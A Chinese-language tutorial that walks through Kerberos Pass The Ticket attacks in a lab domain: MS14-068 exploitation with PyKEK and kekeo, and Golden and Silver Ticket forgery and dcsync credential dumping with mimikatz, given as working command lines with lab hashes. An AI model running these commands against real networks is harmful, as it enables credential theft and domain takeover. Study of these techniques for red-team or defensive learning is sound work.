上篇介紹了有關Pass The Hash 和Pass The Key的技巧,這次接著介紹一下Pass The Ticket
此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
在域環境中,Kerberos協議被用來作身份認證,上圖所示即為一次簡單的身份認證流程,具體細節可以參考相關資料,這里僅介紹幾個名詞:
在了解了相關名詞之后,我們從實際利用的角度來介紹與Pass The Ticket有關的技術
測試環境:
#!bash
域控:
os:server 2008 r2 x64
ip:192.168.40.132
域內主機:
os:win7 x64
ip:192.168.40.225
時至今日,該漏洞已經過去一年多,針對其攻擊的防御檢測方法已經很成熟,所以對其利用方法做一個回顧。
最先公開的利用方法是Sylvain Monné用Python實現的PyKEK
準備條件:
Tips:
- 操作系統要求Win7及以上,這是因為XP不支持導入Ticket
- 攻擊主機可使用其他域用戶信息,比如可以在主機A上用域用戶B的口令及sid攻擊
- 將Python腳本轉成exe即可在任意一臺Windows主機使用
漏洞利用的步驟為:
Tips:
- 如果不先清除內存中的Ticket直接導入,有可能會失敗
- 連接域控要使用域控地址,不要用IP
Benjamin DELPY用c實現了MS14-068的利用工具,更簡單高效。
因為域用戶對應sid本就可以通過程序自動獲取,清除導入票據也能自動實現,當然,如果想用其他域用戶信息攻擊,也可以加上sid手動導入票據
kekeo的快捷用法僅需要以下參數:
實際測試如圖,成功獲得了域控的訪問權限
下載地址:
https://github.com/gentilkiwi/kekeo/releases
在我們成功獲得域控權限后,就可以導出域控內存中的Ticket,在默認的10個小時以內都可以利用來登錄域控
通過mimikatz導出內存中的Ticket,執行:
#!bash
sekurlsa::tickets /export
如圖
保存成文件,一共導出如下文件,如圖
挑選其中的[0;2d87a][email protected]
在域普通用戶的主機進行導入
執行:
#!bash
mimikatz "kerberos::ptt C:\test\[0;2d87a][email protected]"
如圖,導入成功
查看是否有域控權限,如圖
Tips:
- 64位系統使用ptt功能要用32位的mimikatz,如果用64的mimikatz,那么無法導入Ticket
- 這種方式導入的Ticket默認在10小時以內生效
每個用戶的Ticket都是由krbtgt的密碼Hash來生成的,那么,我們如果拿到了krbtgt的密碼Hash,不就可以隨意偽造Ticket了嗎?
實際上只要拿到了域控權限,在上面就可以很容易的獲得krbtgt的Hash值,再通過mimikatz即可生成任意用戶任何權限的Ticket,也就是Golden Ticket
在域控上執行
#!bash
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
生成mimikatz.log記錄輸出,使用log輸出是為了方便復制Hash值
如圖:
找到如下信息:
#!bash
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
偽造的用戶設置為god,執行
#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god
/ticket:gold.kirbi"
生成文件gold.kirbi
Tips:
生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"
導出
如圖
導入Golden Ticket,執行如下命令:
#!bash
kerberos::ptt c:\test\gold.kirbi
如圖,成功獲得域控權限
Tips:
- 這種方式導入的Ticket默認在20分鐘以內生效,當然,如果過期了,再次ptt導入Golden Ticket就好
- 可以偽造任意用戶,即使其不存在
- krbtgt的NTLM hash不會輕易改變,即使修改域控管理員密碼
Silver Ticket是偽造的TGS(Ticket Granting Server)ticket,所以也叫service ticket
將它同Golden Ticket做對比:
Golden Ticket是偽造的TGT(Ticket Granting Ticket),所以可以獲取任何Kerberos服務權限
Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服務賬戶(通常為計算機賬戶)hash加密
Golden Ticket在使用的過程需要同域控通信
Silver Ticket在使用的過程不需要同域控通信
舉例說明Silver Ticket:
正常的認證流程為
此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
如果使用了Silver Ticket,認證流程變為
此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/
不難看出其中取消了步驟1-4
也就是說只要手里有Silver Ticket,就可以跳過KDC認證,直接去訪問指定的服務。
比如現在要訪問域控上的“cifs”服務(cifs服務用于Windows主機間的文件共享)
首先需要獲得如下信息:
在域控上執行如下命令來獲取域控主機的本地管理員賬戶hash
#!bash
mimikatz log "sekurlsa::logonpasswords"
如圖
注:
此處要找到計算機賬戶,也就是
Username : WIN-8VVLRPIAJB0$
的NTLM hash
,如果是其他賬戶,那么會失敗
整理以上獲得的信息如下:
使用mimikatz執行如下命令導入Silver Ticket
#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如圖,成功導入,此時可以成功訪問域控上的文件共享
為了加深理解,再舉一個例子
訪問域控上的“LDAP”服務
整理信息如下,只需要把/service的名稱改為LDAP,/user改為krbtgt,/rc4改為krbtgt的NTLM HASH
mimikatz導入Silver Ticket的命令為:
#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
此時dir \\WIN-8VVLRPIAJB0.test.local\c$
發現無法訪問,也就是前面提到的
Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限
如圖,雖然成功導入,但是無法訪問域控的文件共享
但是執行如下命令可以遠程訪問LDAP服務來獲得krbtgt的信息:
#!bash
mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
如圖,成功遠程獲得krbtgt賬戶信息
注:
lsadump::dcsync
向 DC 發起一個同步對象(可獲取帳戶的密碼信息)的質詢。
需要的權限包括管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器的計算機帳戶
只讀域控制器默認不允許讀取用戶密碼數據
參數選項:
/user - 要查詢的用戶id 或 SID
/domain(可選的)默認設置為當前域。
/dc(可選的)指定DCSync 連接的域控位置
當然,還有其他服務可通過偽造Silver Ticket訪問:
如圖列舉了其他可用作Silver Ticket的服務:
此圖片引用自https://adsecurity.org/?p=2011
本文介紹了和Pass The Ticket有關的技術,著重對實際使用的一些情況做了演示,無論攻防,只有實踐,才會進步。
Real knowledge comes from practices.
本文由三好學生原創并首發于烏云drops,轉載請注明